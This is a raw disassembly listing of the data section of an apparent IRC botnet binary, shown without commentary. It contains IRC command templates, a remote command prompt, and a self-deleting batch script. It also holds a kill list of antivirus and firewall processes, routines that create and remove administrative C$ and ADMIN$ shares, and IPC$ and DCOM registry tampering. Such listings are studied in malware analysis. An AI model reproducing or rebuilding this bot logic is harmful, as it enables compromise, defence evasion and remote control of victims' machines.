; DATA XREF: ___:00438410o align 4 aTroller db 'troller',0 ; DATA XREF: ___:0043840Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00438408o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00438404o align 10h aRimpy db 'rimpy',0 ; DATA XREF: ___:00438400o align 4 aJanno db 'janno',0 ; DATA XREF: ___:004383FCo align 10h aBunty db 'bunty',0 ; DATA XREF: ___:004383F8o align 4 aHeval db 'heval',0 ; DATA XREF: ___:004383F4o align 10h aCme db 'cme',0 ; DATA XREF: ___:004383F0o aMarcy db 'marcy',0 ; DATA XREF: ___:004383ECo align 4 aTalika db 'talika',0 ; DATA XREF: ___:004383E8o align 4 aShez db 'Shez',0 ; DATA XREF: ___:004383E4o align 4 aKen db 'ken',0 ; DATA XREF: ___:004383E0o aFlexster db 'flexster',0 ; DATA XREF: ___:004383DCo align 4 aKoko db 'koko',0 ; DATA XREF: ___:004383D8o align 4 aMale db 'male',0 ; DATA XREF: ___:004383D4o align 4 aSwin db 'swin',0 ; DATA XREF: ___:004383D0o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:004383CCo aKrizha db 'KRIZHA',0 ; DATA XREF: ___:004383C8o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:004383C4o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:004383C0o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:004383BCo aFarooq db 'farooq',0 ; DATA XREF: ___:004383B8o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:004383B4o align 4 aM_0: ; DATA XREF: ___:004383B0o ; ___:004386FCo unicode 0, <M>,0 word_438E18 dw 4Eh ; DATA XREF: sub_419E7A+38r ; ___:004383ACo align 4 dword_438E1C dd 42h ; DATA XREF: ___:004383A8o dword_438E20 dd 56h ; DATA XREF: ___:004383A4o dword_438E24 dd 43h ; DATA XREF: ___:004383A0o dword_438E28 dd 58h ; DATA XREF: ___:0043839Co ; ___:00438730o dword_438E2C dd 5Ah ; DATA XREF: ___:00438398o dword_438E30 dd 4Ch ; DATA XREF: ___:00438394o dword_438E34 dd 4Bh ; DATA XREF: ___:00438390o dword_438E38 dd 4Ah ; DATA XREF: ___:0043838Co dword_438E3C dd 48h ; DATA XREF: ___:00438388o dword_438E40 dd 47h ; DATA XREF: ___:00438384o dword_438E44 dd 46h ; DATA XREF: ___:00438380o ; ___:004386F8o dword_438E48 dd 44h ; DATA XREF: ___:0043837Co dword_438E4C dd 53h ; DATA XREF: ___:00438378o dword_438E50 dd 50h ; DATA XREF: ___:00438370o dword_438E54 dd 4Fh ; DATA XREF: ___:0043836Co dword_438E58 dd 55h ; DATA XREF: ___:00438364o word_438E5C dw 59h ; DATA XREF: sub_41A19E+38r ; ___:00438360o align 10h dword_438E60 dd 54h ; DATA XREF: ___:0043835Co dword_438E64 dd 52h ; DATA XREF: ___:00438358o dword_438E68 dd 45h ; DATA XREF: ___:00438354o dword_438E6C dd 57h ; DATA XREF: ___:00438350o dword_438E70 dd 51h ; DATA XREF: ___:0043834Co dword_438E74 dd 62h ; DATA XREF: ___:00438340o ; ___:00438634o ... dword_438E78 dd 78h ; DATA XREF: ___:00438334o ; ___:0043868Co dword_438E7C dd 7Ah ; DATA XREF: ___:00438330o ; ___:00438694o ... dword_438E80 dd 68h ; DATA XREF: ___:00438320o ; ___:0043864Co dword_438E84 dd 67h ; DATA XREF: ___:0043831Co ; ___:00438648o ... dword_438E88 dd 66h ; DATA XREF: ___:00438318o ; ___:00438644o dword_438E8C dd 79h ; DATA XREF: ___:004382FCo ; ___:00438690o dword_438E90 dd 77h ; DATA XREF: ___:004382ECo ; ___:00438688o dword_438E94 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177D0+B1o dword_438EA0 dd 323334h ; DATA XREF: sub_4177D0+79o dword_438EA4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177D0+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BB+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADE+BCo ; sub_417ADE+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418294+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41835A+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41835A+48o align 4 unk_43901C db 2Dh ; - ; DATA XREF: sub_4184E2+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43904C db 2Dh ; - ; DATA XREF: sub_4184E2+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_439074 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E2+5Co dd 65726165h, 64h off_439090 dd offset aAdd ; DATA XREF: sub_4186C2+60r ; sub_418A99+51r ... ; "Add" off_439094 dd offset aAdded ; DATA XREF: sub_4186C2+2Dr ; sub_418A99+83r ... ; "Added" dword_439098 dd 0 ; DATA XREF: sub_4186C2+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 439104h, 4390FCh, 2, 4390F0h, 4390E4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004390C4o aStop_0 db 'Stop',0 ; DATA XREF: ___:004390C0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004390B8o aStart_0 db 'Start',0 ; DATA XREF: ___:004390B4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:004390ACo align 4 aList_1 db 'List',0 ; DATA XREF: ___:004390A8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004390A0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0043909Co align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_439094o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_439090o unk_439158 db 2Dh ; - ; DATA XREF: sub_4186C2+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_43917C db 2Dh ; - ; DATA XREF: sub_4186C2+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_4391A8 db 2Dh ; - ; DATA XREF: sub_4186C2+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DE:loc_4188E8o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DE:loc_4188E1o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DE:loc_4188DAo db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DE:loc_4188D3o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DE:loc_4188C5o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DE:loc_4188BEo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DE:loc_4188B7o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DE:loc_41888Co align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DE:loc_418885o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DE:loc_41887Eo db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DE:loc_418877o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DE:loc_41884Co db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DE:loc_418842o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DE:loc_418838o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DE:loc_418824o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895C+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895C:loc_418A28o aStarting db ' Starting',0 ; DATA XREF: sub_41895C:loc_418A21o aStoping db ' Stoping',0 ; DATA XREF: sub_41895C:loc_418A1Ao aRunning db ' Running',0 ; DATA XREF: sub_41895C:loc_418A13o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895C:loc_418A0Co aPausing db ' Pausing',0 ; DATA XREF: sub_41895C:loc_418A05o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895C:loc_4189FEo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895C+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895C+25o align 4 unk_4396FC db 2Dh ; - ; DATA XREF: sub_418A99+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_439720 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A99+8Ao dd 73252720h, 27h unk_43973C db 2Dh ; - ; DATA XREF: sub_418A99+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8F+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8F+B5o unk_439788 db 2Dh ; - ; DATA XREF: sub_418C8F+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8F+26o align 4 unk_4397E8 db 2Dh ; - ; DATA XREF: sub_418DB0+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_439810 db 2Dh ; - ; DATA XREF: sub_418DB0+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439840 db 2Dh ; - ; DATA XREF: sub_418DB0+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439860 db 2Dh ; - ; DATA XREF: sub_418EF7+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF7+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF7+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF7+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF7+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF7:loc_419016o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF7:loc_41900Fo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF7:loc_419008o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF7+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF7+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF7+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo align 4 unk_439A1C db 2Dh ; - ; DATA XREF: sub_4192E0+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192E0+BEo align 10h unk_439A50 db 2Dh ; - ; DATA XREF: sub_4192E0+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_419460:loc_419544o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_419460+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_419460:loc_41950Bo aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_419460:loc_4194FDo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419460:loc_4194C3o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_419460:loc_4194AFo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo align 4 dword_439D58 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419594+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439D84 db 2Dh ; - ; DATA XREF: sub_419594+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h dd 66737365h, 796C6C75h db 0 align 4 dd 7530h off_439DB0 dd offset aRegedit_exe ; DATA XREF: sub_4196BD+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_439EB8 dd offset dword_439EAC dd offset dword_439EA0 dd offset dword_439E94 dd offset dword_439E88 dd offset dword_439E7C dd offset dword_439E6C dd offset dword_439E60 dd offset dword_439E54 dd offset dword_439E48 dd offset dword_439E3C dd offset dword_439E2C dd offset dword_439E20 dd offset dword_439E10 dword_439E10 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BD+ECo ; ___:00439E0Co dword_439E20 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439E08o dword_439E2C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439E04o dword_439E3C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439E00o dword_439E48 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DFCo dword_439E54 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DF8o dword_439E60 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DF4o dword_439E6C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439DF0o dword_439E7C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439DECo dword_439E88 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439DE8o dword_439E94 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439DE4o dword_439EA0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439DE0o dword_439EAC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439DDCo dword_439EB8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439DD8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DD4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DD0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439DCCo align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439DC8o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439DC4o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439DC0o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439DBCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439DB8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:00439DB4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_439DB0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BD+191o align 4 unk_439F68 db 2Dh ; - ; DATA XREF: sub_4198EC:loc_419973o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_439F8C db 2Dh ; - ; DATA XREF: sub_4198EC+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_439FB0 db 2Dh ; - ; DATA XREF: sub_4198EC+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o unk_439FE0 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419C42o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A010 db 2Dh ; - ; DATA XREF: sub_419B10+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_43A038 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419BF6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_43A068 db 2Dh ; - ; DATA XREF: sub_419C65+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A09C db 2Dh ; - ; DATA XREF: sub_419C65+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_43A0C0 dd offset dword_43A0F8 ; DATA XREF: sub_419E7A+1B3o ; sub_41A19E+17Ao align 8 dd offset dword_43A0F0 align 10h off_43A0D0 dd offset dword_43A0EC ; DATA XREF: sub_41A19E+1E3o dd offset dword_43A0E8 dd offset dword_43A0E4 dd offset dword_43A0E0 dword_43A0E0 dd 5C3A44h ; DATA XREF: sub_419E7A+217o ; ___:0043A0DCo dword_43A0E4 dd 2444h ; DATA XREF: ___:0043A0D8o dword_43A0E8 dd 5C3A43h ; DATA XREF: ___:0043A0D4o dword_43A0EC dd 2443h ; DATA XREF: ___:off_43A0D0o dword_43A0F0 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A0C8o dword_43A0F8 dd 24435049h, 0 ; DATA XREF: ___:off_43A0C0o dword_43A100 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+2E5o ; sub_41A19E+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A130 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_43A158 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_41A0DCo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A184 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_43A1A8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_41A049o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A1D4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_43A1F8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419FACo ; sub_41A19E:loc_41A2CCo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A228 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419FA5o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A264 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419F87o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_43A298 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo ; sub_41A19E+EDo align 4 dword_43A2E8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+91o ; sub_41A19E+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A318 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E7A:loc_419EE7o dd 62617369h, 2E64656Ch, 0 dword_43A338 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E7A+54o ; sub_41A19E+54o align 4 dword_43A368 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19E+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19E+219o dword_43A398 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A33Do ; sub_41A19E:loc_41A40Eo aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A3C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+198o ; sub_41A19E+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A3E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A2C5o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A41C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A2A7o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A454 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A494 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19E:loc_41A20Bo dd 6C62616Eh, 2E6465h dword_43A4B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_43A508 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AF+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AF+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AF+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AF+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AF+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AF+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AF+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AF+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AF+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o 